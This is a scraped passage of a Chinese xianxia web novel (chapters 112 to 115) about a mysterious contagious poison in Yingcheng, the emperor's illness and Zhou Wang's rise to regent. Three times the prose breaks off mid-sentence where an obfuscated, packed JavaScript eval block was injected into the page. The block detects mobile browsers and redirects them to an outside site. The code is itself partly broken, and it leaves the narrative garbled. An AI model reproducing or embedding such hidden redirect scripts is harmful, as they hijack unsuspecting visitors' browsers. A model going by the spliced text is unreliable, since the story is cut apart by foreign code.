容珠从棉县赶来此处见沈宫主,她相信沈宫主和云宫主研制的解药即便不能彻底解毒也能令人缓解,可意料之外的变故如冰锥一般扎在各人心中,麻木过后开始泛出丝丝恐慌。 “不可能!”云宫主站在一旁坚定道,“解药里加了灵根草,能解百毒,对泥鳅精之毒怎么可能毫无作用?” * 三皇子这几日一直马不停蹄地在新县医馆、新县县衙和云景宫三处地方奔波,看着每日都在增多的中毒人数很是焦心。 他本来在医馆里看着吃下解药的百姓心中一松,就地坐在石阶上歇息,手下人递了碗茶过来,茶香饶鼻,三皇子忽然一阵咳嗽,毫无防备地吐了口血出来,手中的茶水震颤,泼洒在鲜血上,在地上冲出了一大片醒目红渍。 112. 新乱 新研制的解药没有作用一事很快传开了,中毒之人的亲朋好友堵在医馆门口焦急慌乱,想要问个究竟。 他们不知道灵根草是什么,有多稀有,能解多少毒,他们只知道他们的家人没有康复。 三皇子躺在医馆的床上强撑着精气神问两位宫主情况,这个时候,什么皇家的礼仪风范,气质威严都在一次次的咯血后被折腾得丝毫不胜,陪在三皇子身边的护卫和侍从不会因为毒会传染而避之不及,六七个人围站在床边,将窗外投射进来的阳光挡了个严严实实,三皇子苍白的脸此刻倒显得像是要油尽灯枯。 “殿下,我和云宫主在研制解药的时候对咯血之人的血和泥鳅精粘液进行了炼化,其实云宫主先前炼制的解药完全可解泥鳅精之毒,且其中没有和泥鳅精之毒不合的成分,不存在毒素异变的可能,各处医馆大夫都说中毒百姓的脉象均无异常,我二人猜测或许此毒另有玄机,以为加入解药之王灵根草定能万无一失。” 沈宫主一字一句陈述这几日的炼药过程,她不奇怪云宫主研制的解药为什么没能解毒,也不奇怪中毒之人的脉象没有异常,因为有些毒就是会让人看不出来任何门道,这样的毒非同寻常。 云景宫以制药闻名,宫内存储着各类药草以及祖辈上流传下来的稀有草药,灵根草就是上任云景宫宫主留下来的,云宫主割肉会疼,但现在正是灵根草派上用场的时候,可谁曾想“割肉”以后竟毫无作用,毒素未解,这说明了什么? “但现在看来,此毒很可能是奇毒中的奇毒,即便是解药之王灵根草也不得解。”沈宫主虽这么分析,但神色却不太信服自己。 她在奇怪一个道行不高的泥鳅精怎会有如此特殊之毒? 云宫主内心一阵绞痛,珍稀之物灵根草就这么葬送了,完全没有体现出其非凡的价值,连同先宫主辛苦采来的心血也一并浪费掉了。 “沈宫主认为接下来该如何……”这几个字费了三皇子很大力气,他眉头紧锁,连眼皮也没力气抬起来了。 屋子里静默了片刻,云宫主现在是真没辙了,云景宫的药库里最珍贵的草药就是灵根草,要是连灵根草都没用,再去采更珍贵的药材无异于大海捞针,难于登天。 “解铃还须系铃人,毒既是泥鳅精身上的,那便向它询问解救之法。” “什么?”云宫主难以置信,“沈宫主要去向妖精求助?” “殿下与颖城众多百姓不得解脱,我们断定不了什么草药能解此毒,也不知此毒再耽搁下去会有什么样的后果,找泥鳅精是最快的解决方法。” “就是它伤害的颖城百姓,沈宫主莫非指望它能帮助我们?” 沈宫主不认为以为不可能事就一定不可能,“为什么不试试?” 云宫主张张嘴想再说什么但想到三皇子还在这儿,或许他有话要说。 三皇子闭着眼,胸口微弱起伏,像是思考了好久才有气无力道:“此事艰难,沈宫主小心。但凡事多条解决之路便多一分可能,我会将颖城一事上奏父皇,让他广贴告示,寻求贤才,说不定也有转机。” * 赵皇帝几日前便对众臣称身子不适罢朝了好几日,这几日他在后宫流连床笫,花天酒地,连听了左相病逝这件事也只是愣怔了一会儿后又浑不在意了。 三皇子的奏折被小太监呈到了面前,彼时赵皇帝喝得昏昏欲睡,拿过来瞥了一眼也不知看没看清就甩袖道:“有什么事等寡人起来再说。” 小太监拾起奏折见赵皇帝一副不省人事的样子,心知不是处理奏折的好时候,他记着这折子的重要性,想了想好声哄道:“陛下,三殿下说此乃急事,既然陛下此刻累了,不如先睡一个时辰,到时候奴才叫您。” “混账东西!什么时候轮到老三和你来指示寡人做事?什么东西都要指望寡人,难道满朝臣子都是废物吗?” 赵皇帝掀翻了一个酒杯,残余的酒水泼了太监一鞋,殿内的舞女没有因帝王的怒火而心惊胆战,一个个扯着裙摆扑在了赵皇帝身上温声细语地安慰。 小太监看着被舞裙包裹住的赵皇帝尴尬无比,捏着奏折不知如何是好,赵皇帝的头埋在人堆里,冲着外面下了道命令:“去把周望叫来!” 小太监正准备应声前去,便见另一个太监从外面匆匆进殿,回禀道:“陛下,周大人在外求见。” “哈哈哈哈!”赵皇帝露出了脑袋,“爱卿来得正是时候,快把人请进来!去去去!” 赵皇帝把围在周围的舞女赶走了,趁着周望进来的空当整理好了衣衫。 “拜见陛下。”周望规矩镇静的模样无端给这座充斥着糜烂之气的殿堂添了两分庄重。 赵皇帝虽然整理了衣衫,但还没想着整理脑子,看着周望一表人才的气质就调侃道:“爱卿啊,你说说你都这么大了连个妻妾都没有,夜里孤枕难眠,岂不浪费大好时光?寡人这里佳人众多,你挑一个回去,再送你一幅龙凤呈祥的画作,给你添添喜气,怎么样啊?” 龙与凤乃天地神物,龙凤呈祥此词无错,但赵皇帝用在此处却有侮辱本尊之意。 赵皇帝被周望突然抬眸的眼神震慑住了,忘了他自己是君,周望只是个臣子,没有什么好怕的,可此时此刻赵皇帝只觉身子发冷,他被迫接受这个目光的凝视,从来没觉得自己这么渺小过,好像一个等待高位者惩罚的罪人,心里忽地生出一丝胆怯。 “陛下找臣来究竟所为何事?”周望平静的语言让赵皇帝好似梦醒般反应了一会儿,他甚至都没意识到他让人去叫周望的旨意还没传出去呢。 赵皇帝头有点晕,他方才喝的酒明明应该在胃里翻腾才对,可现在却在他脑子里蒸腾:“老三,老三送来的急奏,不知所为何事,寡人身子不适,你替寡人看看。”他抬手揉着自己的太阳穴试图得到缓解。 小太监走过去将奏折双手呈上,周望没接,假意推脱:“陛下还是睡一觉醒来再看吧,奏折乃君王所批,臣无权查看。” 方才那眼神在赵皇帝脑中挥之不去,他一会儿觉着是自己喝多了产生的错觉,一会儿又觉得那就是实实在在的震慑。 他硬着头皮去瞧周望的眼睛,被俯视的感觉依旧悬在头顶,赵皇帝却不敢奈何,他不知道自己在怕什么,直觉告诉他要做点什么,他像被挟住,好像不做点什么就是错的,好像不这么做就有性命之忧。 “爱卿言重了……寡人……寡人准你查看。”他挺直腰背,觑着对方神色,想从这双浅色眸子中翻找出对他这个君王的尊敬。 周望没动,平静地看着他。 赵皇帝冷汗涔涔,“奏折你可以看,所有奏折你都可以看!” 他颤巍巍站起,踩在座椅前的石阶上,比周望高了不少,俯视他道:“寡人身子不适,不宜劳累,从今以后,就由你替寡人分忧,寡人赐你摄政之权!” * 从皇宫下发的告示很快贴在了都城的各个街道,信使带着旨意快马去了各省传达指令。告示上只写广招天下能解奇毒之人,没有提及颖城中毒一事,有意向者直接去颖城云景宫找云宫主自荐。 即便是毫不知情的都城百姓在看了这张模棱两可,甚至有些突兀的告示后都各自奇怪起来。 紫阳宫就在都城,为什么还要找能解奇毒之人?谁中毒了?为什么要去云景宫自荐? 早些时候,应白和顾寄章及其他紫阳宫弟子出去检查避雨屏障的破损度。说来奇怪,已经连续七八天没有下过雨了,天仍然是阴森森的,乌云挨挤在一起,像是干活干累了的劳工围在一起睡觉,等醒来后说不定又会有一场瓢泼大雨。 都城的水涝情况各处不同,总的来说没有影响百姓们的起居生活,就是沟渠反上来的味道避无可避,附近的住户免不了要抱怨几句。 顾寄章修补完某个村镇上方的避雨屏障后和应白往回走,“三月期限快过去了,目前还没找齐点亮石碑之人,新点亮的石碑印记又不知出自何人,魔龙一日不除,朝荣国便永远要面临意外之灾。” 关于新点亮石碑印记那个人为什么不现身这件事,应白有想过各种原因,要么此人出于害怕、担忧、不情愿等原因不想面对魔龙,要么此人是个极其低调之人,他想等将来击杀魔龙的时候再现身,又或者,此人因为某种原因不能现身,无法让紫阳宫知道? 远处告示栏前围堵的人群将二人的目光引了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040458|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,应白和顾寄章没有往前挤,因这个距离刚好能看清告示上的字。 “云宫主为何要招解毒之人?莫非颖城中毒的百姓还未被解救吗?” 这几天晚上,应白每晚睡前都要盯着窗户一会儿,但再没收到容珠的来信。 顾寄章眉间似在沉思,“要说解毒,朝荣国内除了云景宫便是紫阳宫,沈宫主去了有五六天了,若有什么变故那便说明此毒不简单。” 应白若有所思。 灰蒙蒙的天无端给人一种压抑,顾寄章叹道:“雨灾未平,又添新乱。” * “容珠,我记得棉县的平安医馆里有个被传染的小男孩在第一次吃过药后便不再咯血了?”沈宫主从三皇子病房里出来,想从这件事中察觉出什么关窍。 容珠点头,“他吃过药后当天晚上就已精神大好,第二天已能下床,一直到现在都没有任何异常,是唯一一个康复了的人。” “所有人吃的药方都一样,没道理只对他有效果,我们一定忽略了什么东西,容珠,你再细想想,那个小男孩的日常起居,吃过的饭等等任何细小的事与旁人有什么不同?” 容珠回忆起刚开始进平安医馆病房的记忆,“据李大夫所言,他是那晚第一批送来的人,所有人每顿饭吃的都是米粥,其余时间一直在睡觉,并没有不同于别人之处。” 沈宫主眉眼含忧,“任何事情的发生都有原因,此毒蹊跷诡异,波及甚广,需尽快研制出解救之法,不能放过任何一种可能,你和李大夫仔细问问那个男孩,我现在去找那泥鳅精。” 容珠望着沈宫主的背影兀自出神,她不知道为什么心头会有一丝恐慌感,好像这毒也跟他们一样带了层面罩,躲在后面笑吟吟地为非作歹,而他们现在甚至还没有摸到这层面罩,根本辨不清它后面是怎样的真相。 泥鳅精现下在新县的寺庙里听佛经重修心性,和尚们敲木鱼诵经的声音低低沉沉地从大堂里传出来,沈宫主找到泥鳅精的时候它正在水缸里翻腾着想法子出去,蓦地感受到一个灵力极强的人靠近,登时装睡起来。 “不用翻腾,等你灵魂平静的那一天,禁妖罩自然会消失。” “你是谁?”泥鳅精动了下尾巴,既被人看穿了便不再伪装。 “我叫沈青寒,来此是为颖城中你粘液之毒的百姓要个解救之法。” “哈哈?”泥鳅精扑腾了一下,“我听说紫阳宫很厉害,你竟连我的毒都解不了?不过你既来了,我愿意和你做个交易,你若恢复了我的自由之身,我便将解救之法告诉你。怎么样?” 沈宫主看着泥鳅精的头从水面探出来,朝自己眨了眨眼睛,她冲它笑了笑,随即一手将它从水缸里抓了出来,以灵力牵制,泥鳅精登时扑腾起来,却怎么也逃不出她的手掌心。 “你离不开水,要么干死,要么告诉我解救之法,别想在我面前耍花招!快说!” 泥鳅精忘了自己还有一项致命弱点,要不是它道行不够,又怎会处处受人钳制?留得青山在,不怕没柴烧,保命最要紧! “我身上的粘液只是让人昏迷又害不了性命,算不得毒,给他们吃点清醒草就好了。” “你没说全!中毒之人如今频频咯血,还传染他人,这又该如何?” “你在说什么?我的毒不会让人咯血,是谁要陷害我?你找错妖了!” 沈宫主神色一变:“颖城百姓就是中了你的毒才这样的,你说这跟你无关?” 泥鳅精又开始因缺水而翻白眼了,“我的毒只能让人昏迷,就算是千年的泥鳅精也没你说的这本事,快,快放我回水里……我要死,死……” 沈宫主将泥鳅精放回了水里,忽然意识到了一件事。 * 棉县,平安医馆。 容珠刚回来就见小男孩从病房里跑了出来,立马奔到她腿前仰着头恳求道:“姐姐,你救救我娘亲吧。” 容珠张了张嘴,感觉有一把刀子抵在喉咙处,每说一个字都扎一下她,“姐姐不会救人。” “能!”小男孩拉拉容珠的手天真道:“姐姐送给我一只蝴蝶我就不再吐血了,你能不能也给我娘亲一只蝴蝶?” 113. 君病 淡黄色的“蝴蝶”从容珠掌中翩然飞起,落入了小男孩娘亲的手心里。 容珠悬着心,不敢相信这有些荒诞的可能。这只“蝴蝶”本质上是她的灵力,如果小男孩是因为这个而康复的,难道表明她的灵力可以解毒? 当初应白受重伤的时候,她无意间释放出的爱之力把他从死亡的边缘拉了回来,她至今仍不知道要怎么才能用出爱之力,但她可以确定她送给小男孩的“蝴蝶”并不是爱之力。 床上的妇女瘦弱得像个快要入土的老太太,这里的每一个病人都是这样,他们吃不进去需要咀嚼的事物,一日三餐都是汤汤水水,补进去的远不够弥补吐出来所亏空的精气,每日都肉眼可见的虚弱,李大夫说若一直这样下去,人迟早要耗没的。 容珠坐立难安,胸腔里的心“砰砰”跳着,和小男孩都在等待着一个结果, 半个时辰后,床上的妇女动了动,小男孩拉着她的手轻轻呼唤着:“娘亲,你是不是不难受了?” 容珠快步走过去,妇女憔悴痛苦的脸直击眼底,这个模样怎么看都不像是好转的迹象,她内心猛地一沉,在离床两步远的地方倏然止步,看着妇女缓缓将头转过去,撑着眼皮无神地注视着自己的孩子。 她紧锁的眉头渐渐舒展,模糊不清的声音从鼻间发出,嘴唇几次微动都说不出一个字来,突然她胸腔一阵起伏,本能迫使她猛地倾身垂头,暗红的血液浸染了她的唇,滴滴答答汇成一缕缕血线流了下来。 “娘亲——!”小男孩的声音带着微弱的哭腔,他抓着她的手不明白为什么“蝴蝶”飞进了娘亲的身体里,娘亲还是难受。 妇女无力地摊了回去,唇上沾染的鲜血硬是在她惨白的脸上添了诡异的光泽,她空洞的双眼凝聚了一点眸光,极细微的声音从牙齿里挤了出来:“你……好……娘亲就……好。” “我不要这样的好!我要娘亲安好!” “我要娘亲!我要娘亲活过来!” 遥远的记忆冲破心内努力竖起的防线如潮水般涌了出来,故景重现,容珠内颤动异常。 她没有见娘亲最后一面,因为爹爹和娘亲瞒了她,她不知道那一个平平无奇的傍晚闲聊是她此生最后一次见娘亲,当第二天她晨练完再去的时候,冰冷的尸身比外头的雪还要刺骨锥心。 所有人都说情最无用,最可笑,可心痛和眼泪是真实的。 容珠不喜欢冬天,因为冬天寒冷,还带走了她身边最温暖的一束光。她失去了娘亲,这是一个永远也弥补不了的遗憾。 “容珠。”顾云萧在她身旁轻轻叫她,“沈宫主和云宫主一定会想到办法的。” 不知怎的,这句安慰听来却更觉绝望,如果小男孩最终也失去了母亲怎么办……自己经历过的痛苦一点也不愿让他人经历,因为这种痛苦无药可救,时间能减轻伤痛,却愈合不了心中创伤,只要看见它,想起它,痛苦会第一时间攀上身,它一直如影随形,是个擅于隐藏的怪物,永远摆脱不掉。 里院安静,经过的脚步声都听得一清二楚。 “劳烦李大夫带路,中毒之人的情况怎么样了?” 熟悉的声音让容珠瞬间回过神来,她和顾云萧跑了出去,掀帘唤道:“沈宫主!” 四人站在院内,容珠看出沈宫主的脸色并不好。 “泥鳅精说它的毒只能让人昏迷,不会致人咯血和传染。”沈宫主声音有气无力,顾云萧推断道:“它是不是没有说真话?它有害人之心怎会告诉我们解救之法?” 沈宫主摇头:“泥鳅精所言非虚,我早有疑心此毒诡异,中毒之人的血根本看不出来哪里异常,用什么药草都无从得知,我们要有个心里准备,颖城百姓恐怕遇到大麻烦了。” * 皇宫下发的告示贴了几日没有一个毛遂自荐之人,颖城中毒的百姓每日都要增添三四个,迄今为止还没有其他地方的人知道有波诡异的变故正渐渐蔓延。 周望成为摄政大臣的消息传遍了都城,赵皇帝自从那日见了周望后便真的卧床不起了。 美人在怀,美酒在侧,满朝大臣无一人敢上奏君王不早朝,倒是上官宫主和邱宫主不知因由地问了问周望,得到的回复是:“陛下//身体抱恙,缠绵病榻,朝中事务暂且由周某代理,周某虽有摄政之权,但早朝事关重大,该由陛下主持议事,周某一介臣子,断不能行僭越之事。” 邱宫主和上官宫主面面相觑。 紫阳宫和周望私交不错,那二位宫主自然也对周望青眼有加,但有的时候直觉却大喊大叫说一些完全相反的话,上官宫主大大咧咧,转眼就抛掉了,邱宫主默不作声,只觉得眼前这个年轻人很不一般。 周望笑脸送完二位宫主后转头去了赵皇帝寝殿。 时至中午,送饭的婢女陆陆续续进殿摆饭,站在门口的小太监朝周望恭敬一礼,“周大人,陛下这会儿还在睡着,不若等陛下醒来,奴才再去请您来。” “陛下//身体抱恙,更应该按时按点吃饭,你进去通禀一声,我陪陛下一起用膳。” 小太监应了声“是”,进屋通传。赵皇帝一听周望的名字,“噌”一下从床上起来,把身边的美人吓了一跳。 “传爱卿进来。”赵皇帝招呼旁边的婢女赶紧给他穿好衣服。外头的饭已经摆好了,赵皇帝出屏风时见周望踏了进来,君臣相对,周望款款一礼:“臣参见陛下。” 赵皇帝忙让他入座,也不知是不是起床急了些受了凉,他咳嗽了几声,周望适时关切道:“陛下乃朝荣国之君,天下万民之主,一定要保重龙体。” “咳咳,爱卿所言甚是……咳咳,今日晨起,寡人就觉得有些凉气,这雨也不知下到什么时候是个头,魔龙祸害不浅,此妖一日不除,寡人就一日不安……咳咳……”赵皇帝拿出帕子来咳,身旁的小太监快速倒了杯水递过去。 赵皇帝一口喝了,刚长长舒了口气,便觉胸腔不适,几阵猛烈的咳嗽后直呕了口血出来。 “陛下!”小太监目露惊恐,呆立在原地傻了眼。 “快去传太医。”周望不慌不忙对他说了句,小太监慌里慌张奔了出去,几个侍从一拥而上扶着赵皇帝上床躺下。 不一会儿,太医聚堆而来,周望立在床侧安静观看。 第一个太医把了半天,面上似有困惑之色,他朝身后的太医说:“你来。”第二个太医把了一会儿,神色犹豫,第三个太医亦是如此…… 周望问:“陛下身体怎么样,还请各位太医直言相告。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047470|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陛下……”为首的太医“呃”了几声道:“陛下脉象强劲有力,没有任何抱恙迹象,至于为何吐血,臣不知。” 躺在床上的赵皇帝瞪着眼无力道:“无用!” “太医的意思是陛下无病?”周望声音平和,但这一问句却让众太医心中一惊,好端端的人又怎么会吐血呢?他们身为太医却诊断不出病情,不是医术不高是什么? “臣等无能,还望陛下下令张贴告示,寻求名医!”一众太医跪地磕头,战战兢兢。 赵皇帝想发怒,奈何浑身无力,脸憋得通红,手臂使了半天劲也只抬起一点点。 殿内异常安静,太医们头上悬着一把刀,各自乞求着自己平安多福,小太监满脸担忧,也不知是在担心赵皇帝迁怒,还是担心赵皇帝的身体。 此时,周望朝床榻边走近一步,微微倾身道:“陛下,您还记得三皇子的奏折吗?” 赵皇帝转动眼珠子看向他。 “三皇子的奏折说颖城百姓中了一种会传染的毒,中毒之人咯血无力,臣看陛下此症状和奏折上描述的相符,莫不是……” 他没有继续说下去,但看赵皇帝的眼缓缓睁大,张着嘴费劲道:“可,可寡人,寡人,身在都城……” 周望头又低了低,“三皇子的奏折是从颖城传来的,臣斗胆猜测,奏折上沾染了毒,而陛下一定触摸过它。” 赵皇帝睁着眼看着他,似在问“为什么你没事?”,周望察言观色道:“陛下日夜辛劳,废寝忘食,一定是身体欠佳致使毒钻了空子,既然沈宫主与云宫主在颖城研制解药,那看来,陛下得等两天了。” 他朝跪了一地的太医道:“诸位太医都是贤才,并非你们无能,而是此乃妖精之毒所致,陛下生病一事莫要声张,各位回去多做些面罩,说不定将来能派上用场。” 太医们得知自己没有性命之忧,忙朝赵皇帝谢恩,陆陆续续退下了。 “沈宫主不在不要紧……”赵皇帝撑着一口气,瞪着床顶一字一句吐着,“紫阳宫又不是只有她会解毒……把邱梧叫来。” * 师父,颖城百姓所中之毒非泥鳅精之谋,如今三皇子中招,颖城每日都有人被传染,沈宫主和云宫主在解药中加了灵根草也无济于事,我们断定不了何种草药能解此症状,唯有一名男孩不知原因意外康复。沈宫主已召集各门派之主来云景宫议事。城中多变,不知何时返回,师父不必担心。另外,顾小姐一切安好,请顾先生放心。 容珠将这封信用灵力寄出去后望着阴沉的夜空发呆。愁绪和思念齐齐笼罩在她心间,当一个人静下来的时候就会不自觉想起应白,当躺在床上闭眼睡觉时,满脑子都是病床上的百姓。 现在的情况很不乐观,明天会发生什么根本不知道。泥鳅精说颖城有妖术高强的妖怪作乱,可魔龙带来的雨灾还没度过又横生变故,一波未平一波又起,人降生在这个世上为什么要遭受苦难? 平安成了奢侈,快乐成了奢望,朝荣国本来是幸福安宁之地,却在一步步向苦难和悲痛靠近。 容珠躺在床上想着这些问题,纷杂的思绪胡乱地东窜西跳,就在她沉入梦乡之时,信已经飘进紫阳宫,钻进了应白故意开着的窗缝里,落在了他的枕头边。 114. 妙药 应白看到信的时候是第二天早上。他和上官琛、顾寄章对颖城百姓中毒的变故还没讨论出个情况,就听外面传来弟子惊奇的声音:“圣女怎么今日便回来了?” “阿姐?”上官琛三步并两步走到门外,果然见邱梧神情严肃地回来了,还没寒暄两句,邱梧就开门见山道:“三皇子前些天将颖城一事上奏给了陛下,母亲和云宫主研制的解药竟对中毒之人毫无效果?” 前两天邱梧休沐回来的时候就听上官琛说母亲、容珠和顾云萧去了颖城,她和其他人一样没将这件事看得很严重,以为她们不日便会回来,因为二位宫主联手研制还有什么毒解不了? 云景宫和紫阳宫是代代传承下来,有几百年的基业,这几百年来,凡是请求两宫解毒的中毒之人全都得以解救,好像没有毒会逃过两宫的研究,没有人会因为中毒而受到伤害。 但意外来得有些猝不及防,赵皇帝的变化让邱梧的心一下子悬了起来。 “情况的确如此。”上官琛看了眼应白手上的信,转而奇怪道:“阿姐你今日回来是为了此事?莫非你有解救之法?” 邱梧摇摇头,“三皇子的奏折可能沾有毒素,陛下被传染了,让我给他解毒,皇宫没有合适的药材,我便请求回紫阳宫研制解药。” “什么!”上官琛蓦地睁大眼,“一封奏折就能让人传染?那皇宫岂不是很快就要被此毒染尽?” 外头阴云密布,大风刮得呼呼作响,树叶满天乱卷,好像要叫醒还在睡懒觉的云朵,快快下雨。 短短一瞬间,四人的注意力都被门外的狂风吸引,应白看着手中的信,“不必担心”四个字突然化作一个钩子钩痛了他的心,潜伏的危机像从水里冒出了头,警醒了每一个人。 邱梧回头:“周大人想到了这一点,他让照顾陛下的人不准出宫殿,把厨子都安排过来做饭,日日熏艾说是能驱毒,事发突然,他想得这般周全,我们也只能期望不要再有其他人被传染。” 上官琛抬起两条眉毛,怪声道:“周大人……我从前倒是没发现他这么不一般,好像什么事都会点,那他会不会解毒啊?” 邱梧不知道周望、容珠和应白三人之间的事,顾云萧没来得及跟她八卦,容珠根本不知道还有这事,上官琛和应白两个男的也不会跟邱梧闲聊起这个,所以她不知道为什么自己的弟弟总对周望有意见,她怪道:“你跟周大人有过节吗?” 上官琛两手一摊:“我跟他都没说过几句话,有什么过节?” 他不着痕迹地瞥了应白一眼,“阿姐,你在皇宫教四公主读书这么久,有没有觉得周望这个人有股阴森气儿?” “为何这么说?”邱梧教四公主读书这么久,不仅没觉得周望阴森,还因他讲给四公主那三个故事而觉得此人的品性才能很不一般,有教书育人之大才。 这三个故事颇有内涵,不似寻常睡前读物那般简俗,总觉着暗藏着另一层含义,她还想问问周望这些故事是从哪听来的。 “周大人才思过人,如今已被陛下赐摄政之权,于国于民都是件好事,你不要总针对人家。”邱梧轻声责怪。 “话说回来,解药一事怎么办?母亲已明说此毒特殊,想来是第一次遇见,既然无法断定用何草药,那有没有一种草药可以解任何毒?” 世上万物相生相克,奇毒需用奇草解。但邱梧问这个问题其实连她自己都觉得不可能,她读了那么多医书从未听过这样的神物,人在无助的时候总期盼着有意外之喜降临,更何况现在关乎到了这么多百姓的安危,这不是件小事。 “据我所知,的确有一种药草可解任何毒。”顾寄章站了起来,眉间沉思着。 “我从前在书中看到过一种叫黑石甲的药材,顾名思义,长得像一块黑色的石头,外表坚硬,说是灵药之王,没有解不了的毒,以前游历的时候有心寻找过,但未得见,不晓得这东西是否真实存在,有没有人见过。” 应白眉间一动,“先生可有图画?” “这本书是我家祖传医书,现在应该在我长姐那里,我记得它的样子,跟石头没有区别,小小一块,没有掌心大。”顾寄章伸出手比划着。 上官琛忙问:“那它生长在什么地方?既然有一丝可能,我们就要去找找看!” “书上并没有说。” 顾寄章有点儿无奈,黑石甲很小,掉在地上都很容易把它当成石子儿略过,若不知道生长区域而满世界寻找只怕眼睛找瞎了都没收获。 “我先给陛下调制止血固本的药,若这黑石甲真有奇效,再难咱们也要去找。”邱梧紧锁眉头,“不能让情况变得更严重。” “既要寻找,那要如何辨别出是否是黑石甲呢?”应白看向顾寄章,后者对书中的记录记得很清楚,当即道:“把它放在水中,能飘起来且将周围的水染黑就是黑石甲。” * 颖城百姓中毒一事如今过去十来天了,躺在医馆里的人瘦削如骨,不省人事,各人亲眷日日围在医馆外央求着探病都被各医馆大夫回绝了。云景宫山脚下也聚集了一些百姓请求云宫主尽快研制解药。 各派之主在收到沈宫主的召集指令后纷纷赶来了云景宫,一番询问才知颖城发生了何事,怪不得如今各处都张贴了寻找解毒圣手的公告,可堂堂云景宫和紫阳宫都解决不了的事,还有什么能人? 话说回来,堂堂的云景宫和紫阳宫竟也有解不了的毒…… 各派之主三三两两聚在一起窃窃私语,主座上的沈宫主让大家说说各自看法,有人说要解此毒,先找到泥鳅精所说的妖怪,从它身上下手。有人说既然那个小男孩康复了,说不定他的血可做解药,先取几滴浅浅一试,看看作用如何。 “取血?”沈宫主眉头一皱,“从未听过还有这种解救之法。诸位都是各派之主,见多识广,我的想法是既然不知道颖城百姓所中何毒,那有没有一种草药能解任何一种毒?” 此言一出,各人俱做摇头状,“若世上有这样的草药,必定极难采摘,我们派中最珍贵的药材还不及灵根草,若云宫主和沈宫主都无可奈何,我们也没有办法。” “是啊是啊……” 各人唉声叹气,把整个大堂都熏了一层愁绪在飘,这时,邱宫主忽然道:“顾先生从前对我说他家祖传医书上有一种草药可以解任何毒,叫……黑石甲。” 上官宫主回忆了一下自己的记忆,然后道:“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050254|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么没对我说过?” “果真?”沈宫主眸光发亮,“诸位可曾听过此药?” 底下人摇头。沈宫主从座位上站起,“既如此,那我先回紫阳宫一趟,若有黑石甲的消息,还要劳烦诸位在朝荣国各处找一找,颖城百姓性命攸关,多一人便多一份力量。” 众人起身,齐齐道了声“是。” * 平安医馆原先两个去采药的小徒前几日回来了,这才知道自己居住的地方发生了大事,二人纷纷带上面罩,跟着李大夫一起忙活起来。新研制的解药没用,换了几个方子的止血药也没用,李大夫焦头烂额,每日要面对病人亲眷的询问,还要想办法继续研究药方。 容珠和顾云萧站在门外安慰众人,“各位大姐大叔大爷大妈,此毒来得蹊跷诡异,不知是什么妖魔鬼怪作恶,医馆大夫和二位宫主一直在想法子解决,各位担心家里人也得顾及自身,现在每日都有被传染之人,若是你们也倒下了,那你们躺在里面的家人岂不是要在病中担忧,这难道不是雪上加霜?” 顾云萧一番话让在门口站着的病人亲眷哀叹连连,骨肉亲情,相依为伴,一个身体出了状况,另外一个还不能去探望,何尝不是一种折磨? 一年纪稍大的大娘抹了抹眼泪,“姑娘啊,俺身边只有一个老伴,他若有什么三长两短可叫俺怎么办呢?俺情愿被传染,和他一起躺床上……” “大娘您不要这么说,您爱您的夫君,愿意和他共苦,可您的夫君却希望您健康,他肯定希望解毒后能看到您好好的,为了您的夫君……”容珠从怀里掏出一个面罩走上前给大娘戴上,“您要照顾好自己。” 这些天,这些人,这些焦急担忧的面孔在容珠眼中挥之不去,她想起了在漩涡之境时应白对她说过,爱是在力所能及的范围内,减少别人的痛苦,提升他人的幸福。 容珠解不了毒,方才那一刻她只是很简单地认为大娘和她的夫君既是夫妻,一定不希望看到彼此痛苦,两个人若一起中毒躺在床上陷入咯血的痛苦中又怎会是幸福? “我们只是想看一眼家里人……” 周围人低低啜泣着,见不到家人是痛苦,见到了会更痛苦,到底怎么样能结束这样的局面?到底怎么样才能让这些人脱离苦难? 平安医馆的一个小徒匆匆从里面跑出来,先在顾云萧耳边说了几句话,只见顾云萧目露震惊,刚要大声说出来什么,立马意识到这里还站着一堆情绪脆弱的人,她先稍稍安慰了这些人,然后叫上容珠回医馆了。 “发生什么事了?”容珠看出顾云萧神色不对。 “你还记得那个小男孩吗?”顾云萧像是快要喘不过气似的,“他做了一件事。” 容珠等人进入病房里的时候正见小男孩坐在他母亲的病床前很开心地笑着,而这位母亲竟背靠枕头坐了起来,面容虽因这些天的咯血而瘦弱不堪,但一双眼却有精神多了。 “姐姐!”小男孩看见来人后举着胳膊跑了过来,容珠心中一惊。 他指着胳膊上的纱布,双眼亮晶晶道:“娘亲日日咯血,都不胖胖了,我不想看她难受,就把自己的血喂给娘亲,我的娘亲不咯血了!姐姐,我娘亲好了!” 115. 疏解 